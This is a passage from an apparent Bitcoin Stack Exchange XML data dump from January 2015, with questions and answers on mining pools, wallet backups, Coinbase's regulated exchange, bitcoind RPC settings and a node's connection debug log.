  <row Id="35727" PostTypeId="2" ParentId="35724" CreationDate="2015-01-25T19:42:43.210" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://p2pool.org/&quot; rel=&quot;nofollow&quot;&gt;P2Pool&lt;/a&gt;is a good way to do that. It can be hard to set up but is the best way to do it.&lt;/p&gt;&#xA;" OwnerUserId="21126" LastActivityDate="2015-01-25T19:42:43.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35728" PostTypeId="1" CreationDate="2015-01-25T20:45:47.337" Score="1" ViewCount="506" Body="&lt;p&gt;I have a web server running on a raspberry pi and I want to accept bitcoins. I have very little disk space so I don't have room to install bitcoind. I don't trust any third party services to process my payments so that wont work. Is it possible to accept bitcoins with my setup?&lt;/p&gt;&#xA;" OwnerUserId="23079" LastActivityDate="2015-01-28T16:41:38.063" Title="I want to accept bitcoin on my raspberry pi" Tags="|bitcoind|merchants|ecommerce|raspberry-pi|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35729" PostTypeId="1" CreationDate="2015-01-26T07:46:52.533" Score="0" ViewCount="139" Body="&lt;p&gt;I've heard the term several times. I know that it's an online currency, but I'd like to know more, without having to search too hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can bitcoins be used for?&#xA;Where does one acquire bitcoins?&#xA;When were they first created?&lt;/p&gt;&#xA;" OwnerUserId="23092" LastActivityDate="2015-01-26T07:57:05.667" Title="What exactly are Bitcoins?" Tags="|buy-bitcoins|sell-bitcoins|" AnswerCount="1" CommentCount="3" ClosedDate="2015-01-26T15:32:54.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="35730" PostTypeId="2" ParentId="35729" CreationDate="2015-01-26T07:57:05.667" Score="-2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What exactly are Bitcoins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;bitcoins are the right and possiblility to write some data (transaction) to some database (blockchain) passing this right to another person.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What can bitcoins be used for? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What can gold be used for? Trading/exchanging for all other things&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Where does one acquire bitcoins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Where does one acquire gold? Either buy it, or mine it, or steal it, or find it&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When were they first created?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When gold was first created? Dumb question. Just think that it exists today&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-01-26T07:57:05.667" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35731" PostTypeId="2" ParentId="30447" CreationDate="2015-01-26T10:28:48.273" Score="2" Body="&lt;p&gt;Look at it this way: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Everyone trying to solve a Bitcoin block is actually competing&#xA;against everyone else (I win you lose.)&lt;/li&gt;&#xA;&lt;li&gt;Pools in general are essentially a pack of miners who collectively&#xA;agree not to compete with each other, but agree to collectively&#xA;compete against everyone else who is not in the pool.  Pools grew in&#xA;popularity as the difficulty grew and theoretically it has some advantages.&lt;/li&gt;&#xA;&lt;li&gt;p2pool, of course, follows this same model, except now that the difficulty of obtaining a p2pool share is so difficult, small hash rates have become obsolete in the p2pool model&lt;/li&gt;&#xA;&lt;li&gt;The p2pool model is a great idea and is still viable for anyone with at least 1 ths, but the model needs an update:&#xA;The share chains needs to be larger, the share rate needs to increase making the difficulty go down.  This will allow even the small miner to chip in.  Every hash counts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23097" LastActivityDate="2015-01-26T10:28:48.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35732" PostTypeId="2" ParentId="19008" CreationDate="2015-01-26T13:17:27.743" Score="0" Body="&lt;p&gt;While choosing a bitcoin exchange, look for an information about where do they keep funds. If they say that they 100% of funds of customers is being stored in cold wallets, it means that they actually hold enough bitcoins to cover all transactions.  &lt;/p&gt;&#xA;" OwnerUserId="23098" LastEditorUserId="2306" LastEditDate="2015-01-26T15:26:20.150" LastActivityDate="2015-01-26T15:26:20.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35733" PostTypeId="2" ParentId="35679" CreationDate="2015-01-26T13:26:27.813" Score="2" Body="&lt;p&gt;There cannot be such a thing as an “ASIC-resistant” algorithm. ASICs are designed specifically to implement an algorithm and will always be faster than any CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, it might not even be a good idea to have ASIC resistance, because ironically, the ASICs would be the ones optimized for this and the general-purpose computers would be left behind, while also being way worse for energy consumption (something which seems to bother many people).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://download.wpsoftware.net/bitcoin/asic-faq.pdf&quot; rel=&quot;nofollow&quot;&gt;https://download.wpsoftware.net/bitcoin/asic-faq.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2015-01-26T13:26:27.813" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35734" PostTypeId="1" AcceptedAnswerId="35753" CreationDate="2015-01-26T14:03:42.320" Score="6" ViewCount="437" Body="&lt;p&gt;It's &lt;a href=&quot;http://techcrunch.com/2015/01/25/coinbase-us-bitcoin-exchange/&quot; rel=&quot;nofollow&quot;&gt;all over the news&lt;/a&gt; that coinbase &quot;will open the first regulated bitcoin exchange in the U.S.&quot;.   But what exactly is the news here?  Hasn't coinbase been serving customers from all across the U.S. for more than a year now?  What is changing?&lt;/p&gt;&#xA;" OwnerUserId="15136" LastEditorUserId="15136" LastEditDate="2015-09-25T14:23:36.483" LastActivityDate="2015-09-25T14:23:36.483" Title="What changed about coinbase.com to make it a &quot;regulated exchange&quot;?" Tags="|exchanges|coinbase.com|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35735" PostTypeId="2" ParentId="35734" CreationDate="2015-01-26T14:04:16.473" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1qaxin/psa_coinbase_is_not_an_exchange_if_you_want_to/&quot; rel=&quot;nofollow&quot;&gt;This old reddit post&lt;/a&gt; kind of answered it for me.  But I won't be marking this as the answer, in case anyone would care to provide a more direct and well-referenced explanation.&lt;/p&gt;&#xA;" OwnerUserId="15136" LastEditorUserId="15136" LastEditDate="2015-01-26T14:48:14.777" LastActivityDate="2015-01-26T14:48:14.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35737" PostTypeId="1" CreationDate="2015-01-26T16:51:58.147" Score="1" ViewCount="236" Body="&lt;p&gt;While setting up a private nomp mining pool as a learning project, The instructions recommended setting up block notify. What are block notifications? &lt;/p&gt;&#xA;" OwnerUserId="23040" LastEditorUserId="2306" LastEditDate="2015-01-26T17:50:38.027" LastActivityDate="2015-06-14T02:19:08.100" Title="What are bitcoin/altcoin block notifications?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35738" PostTypeId="1" CreationDate="2015-01-26T16:53:59.507" Score="1" ViewCount="56" Body="&lt;p&gt;My backup private keys were made in Jan and my computer crashed in May. If I upload the keys on a new wallet, will it show my bitcoin balance from May or January?&lt;/p&gt;&#xA;" OwnerUserId="23100" LastActivityDate="2015-01-26T17:48:13.763" Title="What are the limitations to an outdated backup?" Tags="|backup|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35739" PostTypeId="2" ParentId="35738" CreationDate="2015-01-26T17:48:13.763" Score="1" Body="&lt;p&gt;Bitcoin-Qt has a feature called &quot;keypool.&quot; It pre-generates 100 keys and includes them in all of your backups. This way, if you make a backup, it will also include the keys you're going to use in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, sending a payment consumes an address, and receiving a payment consumes an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you make 1 transaction a month, 100 keys will last 8 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you change your wallet password, you must make a new backup.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-26T17:48:13.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35740" PostTypeId="2" ParentId="35716" CreationDate="2015-01-26T18:58:49.473" Score="1" Body="&lt;p&gt;afaik - 25 only happens if the output you're trying to use is already spent (either confirmed in the chain or by a TX in your mempool) &lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2015-01-26T18:58:49.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35741" PostTypeId="2" ParentId="35711" CreationDate="2015-01-26T19:02:23.413" Score="1" Body="&lt;p&gt;display bug on blockchain.info, they display the time that is in the block header, but since the time in the block header is allowed to be 2 hours off (and sometimes is because of performance tricks the pools do). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blocktrail.com/BTC/address/1BacceeNmQzGFm11QwKdqmXA1wvnoHvaAv/transactions&quot; rel=&quot;nofollow&quot;&gt;https://www.blocktrail.com/BTC/address/1BacceeNmQzGFm11QwKdqmXA1wvnoHvaAv/transactions&lt;/a&gt; shows them in the right order &lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2015-01-26T19:02:23.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35742" PostTypeId="2" ParentId="35702" CreationDate="2015-01-26T19:15:53.057" Score="0" Body="&lt;p&gt;the exchange needs to be in control of the coins when you want to sell them for someone to be able to instantly but them. &#xA;if this would all happen on-chain then the amount of BTC that they would have open and available to a hacker is way more than what they currently keep in their hot wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the solution is still that you shouldn't keep BTC on an exchange and only move it there when you want to sell! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;counterparty has a decentralized exchange which allows you to trade BTC for counterparty assets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you just need a counterparty asset that is pinned to the dollar :D&lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2015-01-26T19:15:53.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35743" PostTypeId="1" CreationDate="2015-01-26T19:45:18.393" Score="1" ViewCount="104" Body="&lt;p&gt;Been running an s3 with slush's pool for a month or so and accumulated maybe 20% of a Bitcoin. I started out using the gigantic Bitcoin Core Wallet because when I first learned about Bitcoin a couple months ago I had these big ideas about solo mining and a 25 Bitcoin chunk breaking off for me. Those were exciting days! Of course now I know I completely missed the boat on those days but I changed computers and do not want to download the core again. As soon as Slush's made a payout to me I backed it up to DropBox so I have that backup file but it isn't as easy as clicking a button in my new MultiBit wallet to recover my little piece of a bitcoin, Please Help! I'm going make a profile on here as soon as I post this question. I'll try to get username: Mickey-Mouse-Blacksmith  &lt;/p&gt;&#xA;" OwnerUserId="23103" LastActivityDate="2015-01-30T15:30:07.077" Title="How to restore a backup made when using the big 20 Gigabyte Core Wallet to current MultiBit wallet?" Tags="|backup|wallet-recovery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35744" PostTypeId="2" ParentId="35702" CreationDate="2015-01-26T21:11:34.587" Score="1" Body="&lt;p&gt;This could work. Participants would need to deliver sufficient money to the exchange to protect others from their non-performance. But the exchange would never have to touch any Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you sell Bitcoins, you'd have to be responsible for any decrease in the value of Bitcoins between when you sold them and when you delivered them. Rational sellers would price this risk into their spreads and try to deliver as quickly as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likely, the buyer would have to be able to cancel a buy if the seller didn't deliver. If the price had gone down, the buyer would be responsible for the difference in price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with such a service, at least today, is that it would be difficult for people to buy and sell on it. Buyers would have to wait for delivery and possibly switch offers and sellers would need to deliver quickly or risk losing money. This would result in higher buy prices and lower sell prices, which would likely discourage adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could become popular among people who want to speculate on the price of Bitcoins with leverage. You could sell Bitcoins you don't have, for example. The buyer doesn't want Bitcoins, they just want to profit if the price goes up.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2015-01-26T22:10:59.333" LastActivityDate="2015-01-26T22:10:59.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35746" PostTypeId="1" CreationDate="2015-01-26T22:31:59.987" Score="4" ViewCount="183" Body="&lt;p&gt;Everyone likes to trash Mt. Gox.  There is a ton of hearsay out there.  Can someone produce real evidence of their poor business practice?  I was hoping to find their old website FAQ for example.  What about their management and policies was so different from any of the other exchanges?  There are tons of customer complaints out there but do we know the underlying causes of those complaints and is there documentation to back those up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nick&lt;/p&gt;&#xA;" OwnerUserId="22807" LastActivityDate="2015-01-28T15:36:04.320" Title="Precisely what did Mt. Gox do wrong?" Tags="|exchanges|mtgox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35747" PostTypeId="1" CreationDate="2015-01-26T22:57:33.287" Score="1" ViewCount="1380" Body="&lt;p&gt;I setup BitcoinD on a Windows 7 PC.  I configured for defaults except user/pw and &lt;code&gt;rpcallowip=192.168.1.0/255.255.255.0&lt;/code&gt;. I have also tried &lt;code&gt;192.168.1.*&lt;/code&gt; with no luck.&lt;/p&gt;&#xA;&lt;p&gt;I ultimately want to use an Antminer to connect to it for solo mining, but cannot use it for anything other than mining on the same computer on which it is running.&lt;/p&gt;&#xA;&lt;p&gt;WORKING: using bfgminer with the following command line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bfgminer-5.0.0-win64\bfgminer-5.0.0-win64\bfgminer.exe -o 127.0.0.1:8332 -u rpcuser -p rpcpw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;NOT WORKING:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bfgminer-5.0.0-win64\bfgminer-5.0.0-win64\bfgminer.exe -o 192.168.1.123:8332 -u rpcuser -p rpcpw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The only difference is the IP address where 123 is my IP.&lt;/p&gt;&#xA;&lt;p&gt;Error: &amp;quot;json_rpc_call failed, retry after 30 seconds&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I looked at firewall and it has entries for &amp;quot;Bitcoin Core&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;netstat -a&lt;/code&gt; output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0.0.0.0:8332&#xA;0.0.0.0:8333&#xA;127.0.0.1:8332&#xA;192.168.1.123:8333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Antminer says pool is dead.&lt;/p&gt;&#xA;&lt;p&gt;How do I get another computer or Antminer, on my network, to connect for solo mining?&lt;/p&gt;&#xA;" OwnerUserId="23105" LastEditorUserId="42868" LastEditDate="2022-09-07T15:15:13.360" LastActivityDate="2024-01-30T19:00:35.080" Title="json_rpc_call solo mining with bitcoin running on Windows 7 for antminer" Tags="|bitcoind|json-rpc|solo-mining|antminer|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="35749" PostTypeId="2" ParentId="35737" CreationDate="2015-01-27T02:56:21.810" Score="1" Body="&lt;p&gt;The &lt;code&gt;-blocknotify=&quot;{cmd}&quot;&lt;/code&gt; is one of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;configurable settings&lt;/a&gt; when starting the bitcoin daemon. For example, I can start my bitcoind with this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -blocknotify='echo %s'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when a new block is solved, the block hash gets printed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000000000000e979c4a51dc6cb9606e47a2b499f591645f53fe801ae374&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-01-27T02:56:21.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35750" PostTypeId="1" AcceptedAnswerId="35751" CreationDate="2015-01-27T04:16:15.187" Score="1" ViewCount="386" Body="&lt;p&gt;According to the built-in RPC documentation the signature for &lt;code&gt;createrawtransaction&lt;/code&gt; is:&#xA;&lt;code&gt;createrawtransaction [{&quot;txid&quot;:&quot;id&quot;,&quot;vout&quot;:n},...] {&quot;address&quot;:amount,...}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/gavinandresen/3966071#file-twoofthree-sh-L40&quot; rel=&quot;nofollow&quot;&gt;Gavin in his example on 2-of-3 multisigs is also passing &lt;code&gt;scriptPubKey&lt;/code&gt; and &lt;code&gt;redeemScript&lt;/code&gt; as input for &lt;code&gt;createrawtransaction&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/2511a39cca78c3ca281ad6fe6d381cbb1f66c843/src/rpcrawtransaction.cpp#L304&quot; rel=&quot;nofollow&quot;&gt;The code of &lt;code&gt;createrawtransaction&lt;/code&gt;&lt;/a&gt; in bitcoin core for &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/2511a39cca78c3ca281ad6fe6d381cbb1f66c843/src/rpcrawtransaction.cpp#L344&quot; rel=&quot;nofollow&quot;&gt;parsing inputs&lt;/a&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; BOOST_FOREACH(const Value&amp;amp; input, inputs) {&#xA;   const Object&amp;amp; o = input.get_obj();&#xA;   uint256 txid = ParseHashO(o, &quot;txid&quot;);&#xA;   const Value&amp;amp; vout_v = find_value(o, &quot;vout&quot;);&#xA;   if (vout_v.type() != int_type)&#xA;   throw JSONRPCError(RPC_INVALID_PARAMETER, &quot;Invalid parameter, missing vout key&quot;);&#xA;   int nOutput = vout_v.get_int();&#xA;   if (nOutput &amp;lt; 0)&#xA;   throw JSONRPCError(RPC_INVALID_PARAMETER, &quot;Invalid parameter, vout must be positive&quot;);&#xA;   CTxIn in(COutPoint(txid, nOutput));&#xA;   rawTx.vin.push_back(in);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so how exactly does &lt;code&gt;createrawtransaction&lt;/code&gt; use &lt;code&gt;scriptPubKey&lt;/code&gt; and &lt;code&gt;redeemScript&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2015-01-27T04:24:15.667" Title="Does createrawtransction accept scriptPubKey and redeemScript as inputs?" Tags="|api|json-rpc|script|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35751" PostTypeId="2" ParentId="35750" CreationDate="2015-01-27T04:24:15.667" Score="3" Body="&lt;p&gt;Yes, it accepts them (and any other parameters you care to specify in the JSON).  No, it doesn't use them---and I don't know why Gavin used them in his example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a more detailed and more up-to-date example of spending a P2SH multisig output on the &lt;a href=&quot;https://bitcoin.org/en/developer-examples#p2sh-multisig&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.org developer examples page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-27T04:24:15.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35752" PostTypeId="1" CreationDate="2015-01-27T05:58:27.500" Score="-1" ViewCount="493" Body="&lt;pre&gt;&lt;code&gt;2015-01-24 06:18:15 Logos version v0.8.6.4-ga5aedeb-beta (2015-01-22 22:29:38 -0800)&#xA;2015-01-24 06:18:15 Using OpenSSL version OpenSSL 1.0.1f 6 Jan 2014&#xA;2015-01-24 06:18:15 Default data directory /root/.logos&#xA;2015-01-24 06:18:15 Using data directory /root/.logos&#xA;2015-01-24 06:18:15 Using at most 125 connections (1024 file descriptors available)&#xA;2015-01-24 06:18:15 Using 2 threads for script verification&#xA;2015-01-24 06:18:15 init message: Verifying wallet&#xA;2015-01-24 06:18:15 dbenv.open LogDir=/root/.logos/database ErrorFile=/root/.logos/db.log&#xA;2015-01-24 06:18:16 Bound to [::]:11050&#xA;2015-01-24 06:18:16 Bound to 0.0.0.0:11050&#xA;2015-01-24 06:18:16 init message: Loading block index&#xA;2015-01-24 06:18:16 Opening LevelDB in /root/.logos/blocks/index&#xA;2015-01-24 06:18:16 Opened LevelDB successfully&#xA;2015-01-24 06:18:16 Opening LevelDB in /root/.logos/chainstate&#xA;2015-01-24 06:18:16 Opened LevelDB successfully&#xA;2015-01-24 06:18:16 LoadBlockIndexDB(): last block file = 0&#xA;2015-01-24 06:18:16 LoadBlockIndexDB(): last block file info: CBlockFileInfo(blocks=1, size=266, heights=0...0, time=2014-05-20...2014-05-20)&#xA;2015-01-24 06:18:16 LoadBlockIndexDB(): transaction index disabled&#xA;2015-01-24 06:18:16 LoadBlockIndexDB(): hashBestChain=2d352b606e859728ff5a58bc8f6c980c44535c2707022e959aab4109aac1af2c  height=0 date=2014-05-20 14:00:00&#xA;2015-01-24 06:18:16 init message: Verifying blocks&#xA;2015-01-24 06:18:16  block index             101ms&#xA;2015-01-24 06:18:16 init message: Loading anonymous desktop wallet&#xA;2015-01-24 06:18:16 nFileVersion = 80604&#xA;2015-01-24 06:18:16  wallet                  185ms&#xA;2015-01-24 06:18:16 init message: Loading addresses&#xA;2015-01-24 06:18:16 Loaded 1 addresses from peers.dat  29ms&#xA;2015-01-24 06:18:16 mapBlockIndex.size() = 1&#xA;2015-01-24 06:18:16 nBestHeight = 0&#xA;2015-01-24 06:18:16 setKeyPool.size() = 100&#xA;2015-01-24 06:18:16 mapWallet.size() = 0&#xA;2015-01-24 06:18:16 mapAddressBook.size() = 1&#xA;2015-01-24 06:18:16 msghand thread start&#xA;2015-01-24 06:18:16 opencon thread start&#xA;2015-01-24 06:18:16 addcon thread start&#xA;2015-01-24 06:18:16 net thread start&#xA;2015-01-24 06:18:16 upnp thread start&#xA;2015-01-24 06:18:16 dnsseed thread start&#xA;2015-01-24 06:18:16 Loading addresses from DNS seeds (could take a while)&#xA;2015-01-24 06:18:16 dumpaddr thread start&#xA;2015-01-24 06:18:16 init message: Loading complete&#xA;2015-01-24 06:18:16 4 addresses found from DNS seeds&#xA;2015-01-24 06:18:16 dnsseed thread exit&#xA;2015-01-24 06:18:16 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:17 refreshWallet&#xA;2015-01-24 06:18:17 GetMyExternalIP() received [183.87.126.235] 183.87.126.235:0&#xA;2015-01-24 06:18:17 GetMyExternalIP() returned 183.87.126.235&#xA;2015-01-24 06:18:17 AddLocal(183.87.126.235:11050,4)&#xA;2015-01-24 06:18:18 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:18 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:20 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:20 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:21 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:22 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:23 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:24 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:24 No valid UPnP IGDs found&#xA;2015-01-24 06:18:24 upnp thread exit&#xA;2015-01-24 06:18:25 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:26 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:27 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:27 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:29 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:29 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:30 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:31 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:32 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:33 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:34 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:35 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:36 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:36 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:38 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:38 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:39 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:40 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:41 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:42 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:43 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:44 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:45 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:45 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:47 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:47 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:48 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:49 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:50 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:51 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:52 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:53 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:54 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:54 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:56 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:56 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:58 connect() failed after select(): Connection refused&#xA;2015-01-24 06:18:58 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:18:59 connect() failed after select(): Connection refused&#xA;2015-01-24 06:19:00 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:19:01 connect() failed after select(): Connection refused&#xA;2015-01-24 06:19:02 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:19:03 connect() failed after select(): Connection refused&#xA;2015-01-24 06:19:03 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:19:05 connect() failed after select(): Connection refused&#xA;2015-01-24 06:19:05 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:19:07 connect() failed after select(): Connection refused&#xA;2015-01-24 06:19:07 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:19:08 connect() failed after select(): Connection refused&#xA;2015-01-24 06:19:09 trying connection 72.52.4.91:11050 lastseen=100.8hrs&#xA;2015-01-24 06:19:10 connect() failed after select(): Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I tried to run bitcoin GUI it connected and show network and start download blockchain, this will not work. what I can do? Please help me on this.&lt;/p&gt;&#xA;" OwnerUserId="23109" LastEditorUserId="5757" LastEditDate="2015-01-27T19:14:58.843" LastActivityDate="2015-01-27T19:14:58.843" Title="I am not able to connect to download blockchain in logoscoin. It shows active connection, I am also attach debug logs below:" Tags="|bitcoind|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35753" PostTypeId="2" ParentId="35734" CreationDate="2015-01-27T08:59:45.977" Score="3" Body="&lt;p&gt;As the Reddit post linked in your answer points out, the Coinbase that we already knew uses ACH transactions to move money in and out of your account, which makes it not very good for day trading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/coinbase-secures-approval-launch-regulated-us-bitcoin-exchange/&quot; rel=&quot;nofollow&quot;&gt;Coindesk coverage&lt;/a&gt; of the new exchange states that Coinbase previously &lt;em&gt;acted largely as a brokerage&lt;/em&gt; for Bitcoin users. A brokerage firm trades securities on behalf of investors. In contrast, an exchange is a &lt;em&gt;market&lt;/em&gt; where brokers and dealers meet, with infrastructure to facilitate buying and selling. The Coindesk article goes onto state that Bitcoin will have a full order book, which is a list of interested buyers and sellers for each financial instrument. A &lt;a href=&quot;http://en.wikipedia.org/wiki/Matching_engine&quot; rel=&quot;nofollow&quot;&gt;matching engine&lt;/a&gt; uses the list to determine what trades can be 